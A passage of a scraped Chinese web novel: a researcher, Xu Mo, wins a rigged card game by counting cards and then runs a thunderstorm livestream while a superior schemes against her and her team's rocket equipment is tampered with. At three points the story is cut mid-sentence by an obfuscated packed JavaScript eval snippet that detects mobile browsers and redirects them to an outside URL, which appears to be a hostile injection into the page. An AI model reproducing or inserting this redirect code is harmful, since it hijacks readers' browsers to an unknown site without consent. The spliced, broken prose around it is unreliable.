此话一出,巨石旁几人都笑了起来。 Erik探起身子,笑得前俯后仰。 等笑够了,才眼咕噜一转,指了指桌上的扑克说:“要不这样,我也的确是有几分绅士风度,不为难奥若拉小姐。来和我们玩上一局,你要是赢了的话,我们愿赌服输将你要的东西奉上。” 许默瞧向他们桌面的扑克,牌局是她未曾见过类型。 “你们玩的是什么?” Erik解释:“国王游戏。” 许默摇了摇头:“我没玩过。” “没关系,”Erik眼神瞟向Max示意说:“Max给你介绍规则,很简单的,玩上两局就会了。” 许默敏锐察觉到Max和Erik的眼神交汇,这两人恐怕是要给她下套。 微微蹙起眉头,许默还是仔细听Max介绍起“国王游戏”的规则。 直到听见2V2对抗、同花顺之类的名词,许默才反应过来。 这不就是……掼蛋吗? 在研究所里,管理层很流行玩这个游戏。 没想到竟然也传到了国外。 许默不是很喜欢研究所里的社交场合,只是多多少少看过一些。 实践也确实没玩过。 此时被Max讲解下来,基本也对规则了然于心。 “怎么说?要玩吗?奥若拉小姐。”Erik询问她。 “这不公平,”听完规则讲解克里斯第一时间跳出来反对,“且不说这国王游戏的规则我们才刚听得一知半解,扑克牌类游戏,本就是你们男性的主场,凭什么要比这个。” Erik眯了眯眼睛说:“克里斯宝贝,现在可是你们有求于我。” “你……”克里斯被怼得哑口无言。 “可以,我们玩。” 许默拉住克里斯,点头应下了这国王游戏。 不论哪种扑克牌,其实本质玩法都是考验对抗双方的博弈能力和计算能力。 作为拥有蝉联安省两届理科状元头衔的许默,在扑克牌玩法类有着天然的优势。 从小她便对数字极为敏感,运算和记忆能力远超普通人。 男性主场的扑克游戏,女性当真就不擅长? 不爱玩可并不代表不擅长。 “那赌注便是,你赢了我就把东西借给你,”Erik继续说,“不过,你要是输了的话……” 许默察觉对方眼神变化。 “你要是输了的话,”Erik笑盈盈地说:“你得陪我去一个地方。” 许默应答:“没问题。” “奥若拉……”克里斯小声提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861470|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许默,她总觉得Erik不怀好意。 许默拍了拍对方手背:“没事的。” Erik诧异道:“奥若拉小姐果然爽快,都不问去什么地方?” “我不会输的。”许默垂眼看向身下的扑克牌。 Erik眯了眯眼睛,指了指身后的黑皮肤女生:“行吧,克里斯宝贝根本没听懂规则。这样,Fiona,你来一起玩。我和Max一队,你和Fiona一队,可以吗?” “可以,那开始吧。” 许默点了点头。 几人围坐在巨石前,一群本无所事事的雷电捕手也凑到了跟前。 第一局,以3为将军。 许默的牌很不错,拿到了3张国王牌和4张将军牌。 在前几轮的牌序下,许默基本都抢到了先手。 就在她已经基本算出对手两家的手牌,扔出一套连续牌组,手牌只剩下最后两张Q时。 对面的Fiona突然摆下一套五个J的炸弹牌型,接住了许默的牌组。 许默诧异地抬眼盯向对方。 直到周围人都发出感叹声,Fiona才捂着嘴巴露出夸张的表情。 “哎呀,我是不是打错了,我怎么接了队友的牌。” Fiona俏皮地吐了吐舌头:“Sorry啊,我其实也不太会,刚刚才学会的。” 明眼人都看得出来,Fiona这样玩的目的,自然是不想许默获得胜利。 原来如此。 自己唯一的队友原来是对手安插的一根“针”。 难怪Erik在开局前表情那般怪异。 许默深深吸了一口气。 随后Fiona装模作样放了几次对子,都被Erik成功截胡。 第一局,她们双下,输了3分,对面的将军牌连续晋升了3级。 “怎么这样啊!这不是耍无赖吗,”克里斯在对局结束后立马跳出来喊道,“哪有你们3个打1个啊,Erik你简直再次刷新了我对你认知的下限。” “克里斯宝贝,你可别乱说,”Erik根本不认这盆脏水,“女生本就对扑克不擅长,打错也是常有的事,你怎么怪上我来了。” 克里斯气得咬牙切齿,要不是见许默给了她的眼神,她真想立马把牌桌给掀了。 Fiona朝许默略带歉意地说:“奥若拉,我确实也是刚学会,下次不会了。” 许默将视线投过去,还是选择摇了摇头。 “没事,尽力就好。” 克里斯坐回许默身边,小声问:“还要继续吗?这可是必输的局,他们明显是在坑你。” 连队友都被敌人策反,克里斯看不到胜利的任何途径。 许默点了点头:“没事,我有分寸。” 接下来又玩了几局。 但几乎每到关键牌序的时候,Fiona就会因为胡乱出牌给人一种新手不会玩的错觉,隐秘地为Erik队伍取得胜利。 几局下来,Erik队伍已经打到了由K作为将军。 但随着周围人群不断发出议论,Fiona的也不敢作出太明显的小动作。 新手光环用一次两次还好,多用了不免惹人非议。 “还继续玩吗?”Erik洗着牌,略带挑衅地看向许默,“再赢两局我们可就获胜了。” 许默撩起眼皮看向对方。 “当然,继续发牌吧。” 不知是错觉还是怎么的,Erik从对方美丽的面容上嗅出几分危险的气息。 像是被猎人盯上般后背发凉。 和对面的Max交换一个眼神,Erik全然觉得自己想多了。 K比3。 这般优势的局面,他们难道还能输了不成。 察觉Erik和Max脸上透露出的必胜表情,许默嘴角微微上扬。 这几局下来,Erik几人的出牌规律、习惯、小动作她都观察得差不多了。 「傲慢」 过分自信导致的自我迷恋,这可是原罪之一。 傲慢者,破绽百出。 该反击了。 14. 国王 接下来一局,许默的运气像是被用光了般,手牌点数很小,就连“进贡”给上家的牌,也仅仅是张最大的“A”。 “啧,”Erik瞧见许默取了张A出来,不免啧了一声,“看来手气越来越不好了,别勉强自己,奥若拉小姐。” Erik还了一张红桃5。 许默将红桃5擦放进手牌中,皱着眉,展露出一副失望的神情。 正用余光观察的Erik敏锐捕捉到许默的神情,嘴角勾勒出一个上弧线。 他的牌可不错,国王牌和将军牌有不少。 牌局不动声色地进行着,全程几乎是由Erik在领打。 许默没有任何一张国王、将军牌,根本压不住任何的牌力。 “airplane.” 临近尾声,Erik打出一套“101010JJJ”的牌组,脸上已经露出胜利者的笑容。 “等等,这个airplane我好像也有。” 许默扯出故意装出的庆幸模样,用“QQQKKK”压过对方。 “这个……是不是比你的要大一些?” “你还有这个?呃……是能压过我。” Erik指了指许默,想说对方的牌明面上的小,怎又拿出这种大牌的。 但又想到,没有A确实不代表Q和K也少。 “算了,让你出一次牌吧奥若拉小姐,可别让他人说我一点绅士风度都没有。” Erik双手一合,将自己最后剩下的5张牌抱在胸前,无论许默接下来打什么牌,他只要和队友配合再过一张单牌,就能完美地完成脱手。 “那可是你说的哦,”许默淡淡一笑,将整个手牌全都展露出来,“334455”刚好六张牌。 一记悄无声息地偷跑。 “你!” 瞧见许默的手牌全部走掉,Erik差点从凳子上跳起来。 对方不动声色完成了偷跑,他的确没意识到。 许默笑笑:“还真是多谢了你给的5,是张很关键的牌呢。” “我去,太好了!”克里斯见许默终于赢了一把,开心得对着Erik又是做鬼脸又是吐舌头的。 Erik微微皱眉,脸色有些发绿:“再来,洗牌。” “好呀。”许默轻声应下。 接下来的几局,Erik无论如何也不会想到,会有如此的如坐针毡。 不知为何,他的牌就像被对方看穿似的,对方出的任何牌都像是针对着他。 这场游戏,已经变成单方面的压制。 而他和Max一转态势去防守许默,却总是被对方偷着法子跑掉。 几局下来,Erik的额头已经微微有些出汗。 他莫名有种错觉,这不是在玩游戏,而是在坐牢。 “A比A平。” 等到克里斯宣布两队的比分时,Erik才反应过来大优的局势竟然已经被对方扳到了平分。 “Erik,”许默笑着摇头说,“看来你的后劲有些不足,再这样下去我们可就要赢了。” Erik咬了咬牙,朝Fiona递了个眼神。 Fiona暗自点了点头。 在决胜局,他们一定不会输。 许默首发:“Train,23456。” Erik瞧见出牌,瞳孔不动声色地微微颤了颤,他手牌中刚好有能压住牌组。 对面的Max颇有默契地选择了过牌。 Fiona也没有接牌。 Erik自然而然地用45678接住了牌组。 “过。” 许默朝他比了个请的手势。 Erik眼中一喜,来到领跑位置后,先后快速打出几套牌组。 虽然许默都多多少少接了过去,但在Max的配合下,最终的主动权仍然留在自己团队手中。 眼见手牌只有十张牌,Erik快速对局势扫视一眼。 就在他抽出五张牌,仅保留一套“10JQKA”作为脱手牌组时,许默开口了。 “哦?确定要打三张7带一对5吗?”许默淡淡说完,用一种看穿一切的眼神盯向他。 Erik顿了顿,他手中抽出来的确实是这五张牌。 “留下的Train可跑不掉了。”许默将手肘抵在石头上,看向对方。 对方是在虚张声势? 故意不想让他将Train留在手中? Erik发现有些看不透许默的表情,抿了抿嘴唇道:“你就算有5张A又怎样,Max还在场上,你还有那么多牌,不论后面怎么打,Max都会将牌效送到我手中的。” Erik并不是新手,他早就从牌序中猜出了场面上还有5张以上的A。 现在来看,很大可能就在许默手中。 哪知道许默却摇了摇头:“你猜错了,5张A并没有在我手中。” “那你更是输定了,奥若拉。”Erik坏笑着将三张7和一对五打了出来。 许默叹了口气,将三张9的套牌压了上去。 Max噗嗤一声笑出来,抽出5张牌压在所有人牌面上。 “没想到吧,5张A在我这里。” 眼见Max的牌取得了绝对性的压制,Erik兴奋得快要站起身来,他强压着颤抖的手臂挑衅地看向许默。 只需要Max打出一组连牌,他将在许默之前完成出牌。 “56……” 就在Max刚准备出牌之前,许默出声制止:“等等,我可没说过牌。” Max质疑道:“奥若拉,你刚学会国王游戏可能对规则还不太熟悉,5张牌里就属A是最大的,其他牌我都排过了,场面上是不可能存在6张炸弹的。” “是吗?” 许默平静地抽出5张牌,依次摆放在身前。 “那这个呢。” “红桃10JQKA,同花。” 哗—— 全场哗然,随后是短暂的寂静。 围观的雷电捕手们被许默这突如其来的反制牌吓了一跳。 有的甚至已经在拍手叫好。 “什么?!” “你竟然还有同花?” Erik和Max相视一眼,皆是露出不可置信的眼神。 许默出声询问:“能大过5张A吗?” Erik像是吃了苍蝇般发出声响:“……能,那又如何。” 说完他不动声色又看了眼Fiona。 许默自然是注意到了他的举动。 她没有急着出牌,而是放下牌朝着几人说。 “你手上的牌是混花色的10JQKA,而Max前面出过airplane,没有要我的三张9带对,根据剩下的牌推算可得知,他手中必然是混花色的56789、三张J、以及一张单K。而我手中,5、7、8、K四对牌。” 随着许默的话越说两人的脸上越难看。 “也就是说,只要我一直出对,你们就没有任何获胜的可能性。Fiona,你听懂了吗?” 对面的Fiona脸上变了变,轻轻地“哦”了一声,将头埋进手牌中。 克里斯着急说:“奥若拉,你把自己的手牌说出来干嘛,这不就明牌了吗?” 许默就是要明牌。 只有在明牌的情况下,对面的Fiona就不能拿自己是新手不会玩作为借口来乱压她的牌。 Fiona是在Erik的示意下做了些小动作,打着哈哈过去了。 但如果在近乎明牌的情况,赤.裸裸地给许默下绊子,那才是真的说不过去。 Max的脸色随着许默的话越变越难看,突然站起身来:“奥若拉,你凭什么知道我和Erik手中的牌,你作弊了!” 许默抬眸扫了对方一眼。 “扑克牌本质上就是计算游戏,根据各方打出的牌计算获胜概率,这才是入门玩法。” Max不信地乜了她一眼:“你是说,从一开始你就记得我们打过的每一张牌?” “这很难吗?” 许默挑起眉毛看向对方,手指若有若无指向Fiona方向:“说起作弊,我倒是发现有另外的作弊法,要详细谈谈吗?” “你!” Max咬了咬牙,朝Erik看了眼,在对方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861471|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意下还是重新坐了下来。 像一个瘪掉的气球。 许默危坐在几人前,举着手中的牌,宛如一颗无法撼动半分的巨石。 她眼神明眸、背打得笔直。 此时的她。 正如“国王”一般,威严地看向她面前的投机取巧者。 这便是“国王游戏”的真谛。 “一对5。” 许默坦然地将两张牌从手牌中抽出。 Max脸上红不红、紫不紫的,要也不是、不要也不是,一顿好憋。 的确如许默所说,这场牌局,在Fiona不在明面上捣乱的前提下,他们已经输了。 “就到此为止吧,”没等到Max出牌,Erik率先站起身来推开牌局,“你推算得不错,你已经赢了,奥若拉。” 许默笑了笑,紧跟着站起身来,和对方握了握手。 “谢谢,游戏愉快。” Erik嘴角没忍住地抽了抽。 这后半程,可是一点儿都不愉快。这场游戏,恐怕除了许默以外,没一个人感受到愉快。 反而坐牢的感觉到是没少体会。 “天呐,我们真的赢了!”克里斯直到现在才反应过来,抱着许默就开始上蹦下跳,“奥若拉,你真是太厉害了,不愧是我的女神。” Erik愿赌服输,苦笑一声询问:“奥若拉,你以前当真没玩过这个游戏?” 许默摇了摇头,她实话回答:“确实第一次。” “输得心服口服,我现在终于明白前几次赌局我为什么会输给你了,”Erik不禁失笑,“奥若拉,你简直是个天生的赌.徒。” 赌.徒吗?或许是吧。 许默垂下双眼。 Erik招手将格子衫男生招呼了过来:“Alex,带奥若拉小姐去取她要的东西。” “谢了,Erik。” 听见对方没有要耍赖的意思,许默松了口气,抬手挥了挥,“我们的直播提前到星期三上午了,到时候欢迎你来捧场。” “会来的。” Erik将防沙面罩拉上,遮挡住自己那有些许破防的表情。 “拿上赶紧走,趁我还没后悔。” 许默“恬不知耻”继续道:“如果能把你频道的60万粉丝一起张罗来,那更加欢迎了。” Erik差点没忍住最后的绅士风度,实在是想给许默翻个白眼。 “把钢丝还来!我已经后悔了。” “晚了,bye~” 克里斯和许默一人抱了捆钢丝一溜烟地跑个没影。 - 国内。 气候应对与大气物理研究所。 “组长,”带着厚重眼镜框的李逸看着电脑屏幕发出呼声,“刚格伦希尔发来消息,他们预测到了超大型单体雷暴,K指数、CAPE值都出现显著提升,预计要将直播时间提前到星期三。” 黄组长一脚蹬在地上,滑轮椅带着人顺力滑到李逸的电脑屏幕前。 他仔细审阅了许默发来的报告。 “确实,雷暴可能性不低,她们的运气还真不错。” 黄组长摸着下巴思考了一小会儿,吩咐下去:“通知许默她们可以照常准备直播,设备组要做好最后的Check,我出去打个电话。” 李逸一听,脸上露出几分喜悦,连敲键盘发邮件的律动都轻盈了不少。 黄组长悄然进入吸烟室,拨通了一名董事会成员的号码。 等听筒传来第一个嘟声后,黄组长便隔着手机屏幕点头哈腰起来:“陈董,还是上次格伦希尔的事情。” “就是许默的那个团队……” “她们马上就要开启直播了,雷暴出现概率不低……” “我知道,没问题……” “嗯?那边都安排好了吗,是安排得什么呢……” “抱歉,我多嘴了,的确不是我该操心的事情……” …… 隔着玻璃窗瞧见吸烟室里一副谄媚模样的组长,李逸抽出嘴里的棒棒糖一脸鄙夷的“啧”了一声。 “这老登,又给谁打色.情电话呢,真恶心。” 15. 雷暴前 星期三上午10点整。 厚重的云泡将整个格伦希尔压得快要喘不过气,仿若时刻便会宣泄怒雷。 乌黑的天空下着濛濛细雨。 气温较往常显著下降。 “我是进对了的吗?这是Nature直播间哦?” “怎么什么画面都没有,在直播下雨吗?” “慕名来看许默老婆的,她怎么不在镜头里。” “哇,这居然就是格伦希尔,确实地貌和气候和国内差距很大,好壮阔。” 直播才刚刚打开,在线人数已经缓慢开始飙升。 似乎提前预约的订阅者们在开播的第一时间涌了进来。 有在Erik直播间听到直播预告的。 也有因许默本人话题度讨论而来看热闹的。 许默几人此时已经在简易搭建的工作室里做最后的参数调整,时刻准备着「阿尔卑斯的灯塔」降临。 “直播带宽已连接,数据传输良好,在线人数3200人,”克里斯扫了眼直播频道,转头朝许默看去,“怎么样?你们趴在电脑前这么久了,数据还是异常吗?” 许默和广太目不转睛地盯着电脑屏幕,多普勒雷达反演出的近地层大气水汽水平分布数据一直有些让人捉摸不定。 多层云泡在格伦希尔的上空缓慢聚集,但却迟迟不与辐合线、积云线相碰撞。 就宛如天空中有十多颗缓慢移动的棉花糖,受到各自电力场的影响,相互作用、相互牵制,却迟迟不发生碰撞。 如若其中某个云泡率先发生碰撞,触发抬升机制,那便会如同倒下的多米诺骨牌般发生连锁反应,触发超大型雷暴。 这就意味着,雷暴将会随时发生。 但也意味着,雷暴可能根本就不会产生。 在未发生碰撞下,云泡逐渐远离其出流边界,雷云将会各自消散。 是好是坏。 谁也难说。 “现在……只能等待了。” 许默取出手机,看了眼老师最后发过来的信息。 「保持希望,祝安。」 深吸了口气,调整好自己的状态。 许默重新将身心放在工作上。 无论「阿尔卑斯的灯塔」是否出现,她都要完整地做完这场直播。 这关乎到他老师的声誉。 临行前,老师为她送行,一句关于工作上的嘱咐都不曾说,说来说去都是让她注意安全。 但她知晓,这场直播是老师耗费了多少心血争取来的,这背后又意味着什么。 她不能打败仗。 她老师更不能。 然而,直至大半个小时后。 直播间都一直仅看得到风风雨雨。 蹲守在直播间里的观众终于意识到了不对,发出了质疑。 “天呐,我到底是在看什么?看刮大风看了40多分钟了,雷暴到底什么时候来!” “主播怎么也不给个准信,这不是纯纯浪费人时间吗?” “撤了撤了,还不如去隔壁看喵可娘跳舞。” “大家快散了吧,这直播间根本没有活人。” “这届网友就这么没耐心吗?「阿尔卑斯的灯塔」本就是千载难逢,哪有那么容易见着。” “不想看就快走,话真多。” 李逸气愤地敲完这句弹幕,一把将笔记本电脑合上。 咬了咬口中只剩下杆子的棒棒糖,抱怨道:“要去看擦边跳舞就去啊,又没人拦着你们。” 眼睁睁看着在线人数越来越少,李逸气不打一处来。 本来科普直播预计的流量并不高,但因为许默在Erik直播间造了一波势,让直播前预约的热度一直不低。 但哪想到,才刚刚开播不到一个小时,风头就又出现了转变。 整个直播间都充斥着负面评论。 网络上需要的是博眼球、有话题度的内容。 稍有慢节奏的内容出现,内容未达观众预期,便会由红转黑,惹出一身骚。 “你气啥啊,”黄组长瞅见李逸气得牙痒痒的模样,安抚道:“许默她们可都还时刻准备着呢,别说丧气话。” “也对,”李逸想了想,翻开笔记本屏幕,撸起袖子继续准备和网友对线,“我得给她们做好后援。” 黄组长瞄了一眼正在不断减少的在线人数,嘴角难以察觉地微微上扬。 研究所此时几乎所有人都关注着这场直播。 如果直播失败的话,对赵老师团队来说将会是一次不小的打击。 这场直播,往小了说是研究所下沉市场的一次尝试,往大了说,也是内部派系之前的一场利益博弈。 如若直播未取得应有效果。 那么在那个颇有争议的项目立项上,赵老师将彻底失去话语权。 「阿尔卑斯的灯塔」本就难以捕捉。 就算是赵老师的得意门生又如何? 更何况……董事会的那位还布了后手。 黄组长一想到许默在自己团队起下的种种冲突,就觉着有股气堵在嗓子眼。 盯着直播屏幕,小声念叨着:“仗着赵老师学生的身份不把我放在眼里,许默,我看你还能得意多久。” “组长,”李逸抬起头来,“你叽里咕噜说些什么呢?” 黄组长脸一崩,慌忙摆手:“没、没说啥。” 李逸不着痕迹地白了对方一眼,权当是对方更年期发作,不理对方继续埋头对线。 - 直播镜头后方。 观众没看到的是,克里斯和Joe大吵了起来,以克里斯脾气的火爆程度,甚至还差点打了起来。 刚推算完云图的许默抬头望了眼,快步起身。 “怎么了?”许默将两人拉开,“好端端地怎么动起手来了。” Joe死死瞪了克里斯一眼:“你自己问她。” “问我?你还好意思说。”克里斯气势汹汹挽起袖子就开始要掏拳头。 “到底怎么了?”许默皱眉,“克里斯,你先说。” 克里斯喘了口气才缓缓开口:“我刚见雷暴迟迟不来,索性没事就又重新检查了一遍Rocket的相关设备,你猜怎的?” 许默视线随着对方的指向看过去。 克里斯气冲冲地说:“发射底座被调换了款式,现在安装的是Beta版本,还是试验失败的那个。” “我不是说了吗?”Joe双手一摊,“可能是安装的时候放错了,不就是不小心吗?我现在马上换就是了。” “狗.屁!”克里斯抬起脚就向对方踹过来,“什么不小心?我看分明就是你在搞鬼!” Joe扯着嗓子吼回来:“我搞什么鬼,你好好说话,别血口喷人。” “别以为我不知道,”克里斯不依不饶道:“无非不是见直播在线人数越来越少,这场戏可能搞不成了。就换了便宜的Beta设施,想把调试好设备的偷去卖钱不是?你手脚不干净,经常搞这些小动作,以前就算了,这可是正式直播!” “Youarefuxkingliar!”Joe胀得脖子通红。 “好了!” 见两人争执不止,许默挡在两人中间将逐渐升温的场面稳下来。 “现在最重要的是直播,其他的事情以后再说。提前发现问题是好事,先把设备调试好。” 克里斯点了点头,现在的确不是算账的时候。 Joe想去调整设备被克里斯一把拦下。 “我信不过你,”克里斯指了指电脑屏幕前的广太说,“广太,你来。把Rocket相关的设备重新调整和检查一遍,特别是钢丝!” 说完又狠狠瞪了Joe一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢盛祈?是上一届哈苏国际摄影奖的那位吗?他好像用的英文名参赛的,是叫赛文?” “没错,自家有财团不继承,非要抱个摄影机到处跑那个。” “石锤了,格伦希尔真的是个村,这也太小了吧,所有人都认识。” “他好帅啊,星星眼……怎么不进娱乐圈,恨!” “别恨了,他每次回国可都是有站姐的,你想追他物料可还真不少。” “不过听说他可是出了名的高冷,可不好追。” “我现在就去超话看看。” 谢盛祈刚下车,就将目光紧紧锁定在许默身上,露出招牌玩世不恭的笑容。 “奥若拉,抱歉,让你久等了。” 谁在等你。 许默无语。 这人的脸皮,怎么比格伦希尔的地皮都还厚。 谢盛祈跟读不懂空气似的,慢步驻足在许默身边,抬着头像模像样盯向云层。 许默瞥了他一眼,轻声询问:“你来干什么?” 谢盛祈扑哧一声笑了笑,一脸认真地看向她。 “感觉待会有不小的雷暴,我自然……是来保护你的。” 许默转头看了对方一眼。 这人,自然熟也应该有个度才是。 “我不需要你的保护。”她淡淡地说。 “哦?”谢盛祈嘴角勾了勾,“那天可不是这样说的哦。” 许默莫名回想起前几天两人在山崖掩体下抵御雷暴时的场面。 犹豫之下,还是扔下一句“要留下的话就离设备远一些,这些很贵的。还有,站在天幕下不要乱动,你最好别去我的视线盲区,不然我会把你赶走的”,就继续忙碌去了。 瞧见许默离开,刘昱才小跑到谢盛祈跟前。 “哥,你都和奥若拉说些什么呢?” 谢盛祈取出打火机点了支烟,一脸藏不住兴奋地说:“她当然是在关心我喽,看见我来可高兴了。设备危险让我离远些,还让我不要走远了,要一直停留在她的视线里。” “……” 刘昱吧唧了下嘴,还是把想说的话又咽了回去。 16. 雷暴中 “这是在直播什么?怎么这么多人。” “说是有雷暴呢,我蹲好久了也没蹲到。” “嘘,就这样听着淅淅沥沥的雨声,我感觉还是挺治愈的。” “我还以为Erik来了就放大招了呢,那个是他不?怎么坐车上不动了。” “首页推荐来的,好奇,什么都没播怎么在线人数一直在涨。” “铁血七妈来了,777777勇敢冲——” 广角的视频画面里。 一群人在翻滚的雷云下,渺小得如同蚂蚁。 直播持续到下午3点。 直播间里的人来来走走,因为Erik和谢盛祈的出现,不得不说引了一大波流量,热度在持续上涨。 越来越多的人听说Nature频道在直播雷暴。 话题度在各个超话、xhs讨论了起来。 对应国内的时间已经到了傍晚十点左右,也正是活跃用户最多的时间点。 直播迟迟没有进展,研究所许默组上的组长正打电话报告着情况。 “陈董,”黄组长眉宇舒展,“直播是还没结束呢,但你放心,所里在Nature预约的直播时间段只有7个小时,时间一到,直播源立马就会中断。” “唉,没问题,”黄组长不知道听到什么,喜笑颜开起来,“我早就按您的意思在办了,许默团队这次因为预测失误造成严重直播事故的通报已经在草拟了……” “直播间人数越多不越好吗?近10万的观众被她戏耍,看了7个小时的雨,还用得着我们训斥她吗,等着看笑话就行,嘿嘿。” “您放心,我派人去打听过了,赵老师在医院脸色铁青,他们师徒二人,这回是准吃瘪了。” - 雷云在头顶不断发出闷响,时不时还能瞧见一闪而过的火光,却迟迟不降下任何雷电。 乌压压的一片,像是要把所有人心头的阴霾都压住,直让人喘不过气。 “奇了怪了,”Erik坐在摩托车上,朝头顶打望好几圈,“今天这雷云跟长了眼睛似的,紧紧纠缠在一起,就是不发生碰撞。” 克里斯白了他一眼,低头看了看手表朝着许默小声说:“奥若拉,直播时间只剩下最后的四十分钟了,要不然我们先开始吧?” 许默目不转睛盯着雷云层,雨水将她两鬓的发丝浸湿。 思索片刻后,她还是选择摇了摇头。 “再等等。” “可是……”克里斯看向直播间快要按捺不住的弹幕,紧紧咬住牙关。 这场雷暴的确来得太晚了,比他们预计的时间要晚上好几个小时。 不过长达6个小时的酝酿,如若引爆,那「阿尔卑斯的灯塔」出现概率极高。 二人站在天幕下,任由寒冽的狂风吹得风衣扑哧作响。 直至一股快速下降的暖流不知从何处灌进每个人的衣领子里,气温结构呈现“上冷下暖”的不稳定垂直结构。 “来了!” 许默骤然抬眸,迅速调整好状态。 “场控Standby,准备切入近景2号机位,就位倒计时,三……二……” 在场的人听到许默下达的指令,几乎同一时间怔住。 根本没给任何惊讶的时间,随着许默那冰冷的倒计时快速进入状态。 静电力场下让许默的发丝开始微微绽开。 她接过话筒,一脚踏入早就准备好点位上。 “……一!开始直播。” “轰——” 随着云雷层发出一声闷响,天幕下方的直播范围灯光亮起,所有人的直播屏幕同时出现凌厉的片头文字。 刹那间,一直以翻涌雷云为背景的画面快速虚化,屏幕上如同雷暴炸裂开的纯白字体印在每个人的瞳孔之中,与背后的雷云相互彰显出让人心惊肉跳的几个大字。 「Nature,记录转瞬即逝的璀璨」 在线观众几乎是同时屏住了呼吸。 在3秒片头出现,众人还没来得及反应过来之时,镜头快速切换。 近景摄像机的红灯亮起,一顶纯白的追光落在侧站在雷云下的许默身上。渺小的身躯和背后狂澜的风暴形成一幅完美比例切割、颇有美感的画面。 许默身穿着一套职业化的外勤风衣、一头的长发都被牢牢扎成马尾,露出颀长的天鹅颈。她手持麦克风,紧闭的双眼微微睁开,眉头仍然些许紧皱。 不得不说,许默的确有着一副和科研、户外工作完全不搭边的长相。 光是站在那里,就自然而然吸引住眼球。 聚光灯的光晕一寸一寸勾勒出许默的身影,在沉寂了近6个小时的直播间里,终于出现了久违的人影。 “这是女主持吗?直播终于要开始了。” “女主持还挺漂亮的,以前怎么没见过,是格伦希尔当地的吗?” “神TM格伦希尔当地的,看不出来是国人吗?这TM是许默!” “啊?她就是许默啊,学霸原来也可以长这么好看。” “长成这样,不会是学术妲己吧?” 就在弹幕讨论中,许默开口了。 “欢迎大家来到Nature频道,很抱歉让大家久等了。” 看见直播终于步入正轨,镜头外的克里斯松了口气。 现在只需要雷暴准时降下,他们就能顺利完成任务。 “雷暴,大家都知道,”许默面向镜头,专业地讲解,“是由较强的气流上升运动产生的,而我们现在所在的地方,是被称为‘永恒雷暴’的格伦希尔,全年由三分之二的气候是被雷暴所覆盖。接下来我们将为大家带来雷暴形成-维持-加强-消散的全过程直播,我将持续为大家带来讲解。” 许默的话音刚落下,积攒已久的雷云开始发生撞击。 “时间刚好,我们正上方出现了第一起雷暴,请大家观看。” 画面被切换到3号镜头。 雷暴彻底成形。 风突然变得狂躁,卷起沙尘和枯枝,在空中划出混乱的轨迹。 “轰隆——” 第一道闪电凭空而现,几乎将整个天空照得透亮。 不是垂直劈落的利剑,而是一道横贯云层的苍白脉络,像神经突触般在乌云内部疯狂蔓延。 紧接着,雷声炸开,震得大地微微颤抖。更多的闪电接踵而至,有些如分叉的树根撕裂天空,有些则像隐藏在云层后的闪光灯,将整片天幕映成青白色。 “哥,”刘昱盯着头顶的雷暴,捂着头朝身边的谢盛祈说:“咱们还是朝里面走点吧,怪吓人的。” 谢盛祈坐在他对面玩着打火机,跟没听见他说话似的,一直盯着正在排后续流程的许默。 “克里斯,Rocket做好准备。”许默盯了眼为数不多的直播时长,紧锣密鼓地说:“我们可能要提前把「它」给引下来了。” “Stand。”克里斯比画了个OK的手势,转头瞧见广太还趴在Rocket的钢丝圈在快速调整着什么。 “广太,”克里斯询问了句,“有什么问题吗?” 广太朝她挥了挥手:“没事,我最后检查了一遍,AllCheck。” 克里斯提着的心重新放下,她盯着雷云,招呼起众人远离Rocket发射现场。 “天呐,这还是我第一次近距离观看雷暴,好刺激。” “我耳膜就跟做了按摩一样,这闷雷的响声也太舒服了吧。” “这么久的等待真的值了,简直跟坐在云端一样。” “等等,我期待好久的「阿尔卑斯的灯塔」呢?就给我们看这个吗?” 在线人数飞速增长,随着第一道雷暴降临,不过是短短几分钟的时间,直播间的人数就突破30万。 不等直播间的观众意犹未尽,镜头再次切换到近景。 “欢迎回来,”许默笔直地站在镜头前,“我知道大家今天想看的不只是这个,全球每天约发生4万次雷暴,但没有哪一起能比得上它。接下来,我们将为大家展示——大自然的奇迹。” “——「阿尔卑斯的灯塔」” 许默快速在画面几乎快要被淹没的弹幕上浏览几眼,举起手中的发射器说:“现在我手中拿着的,是引雷火箭的发射器,只要我按下按钮,它将会以每秒190米的速度抵达云端,触发闪电。这便是——「人造阿尔卑斯的灯塔」。” “天呐,这种自然景观居然还可以人造吗?” “我早就听说「阿尔卑斯的灯塔」是自然奇迹,今天真的能亲眼见证吗?” “快,刷火箭,多刷点火箭就发射了!” 雷云翻涌得越来越凶,暴雨如注。观众的情绪被渲染到了极致,仿佛每个人的心脏都如同那颗小巧的发射器被许默紧紧攥在手心。 每一颗心脏都狂野地跳动着,胡乱地撞击在胸腔,直至愈来愈快、满脸涨红,快要将整片胸腔都撑爆。 许默微微一笑。 等了近乎7个小时的时候就要到了。 她抬着手,对着屏幕按下Rocket发射器。 随着她的指尖落下,数十万的在线观众都把心提到嗓子眼儿。 他们目不转睛盯着屏幕中央的引雷火箭被点燃、升空,就连弹幕一时间都忘了发。 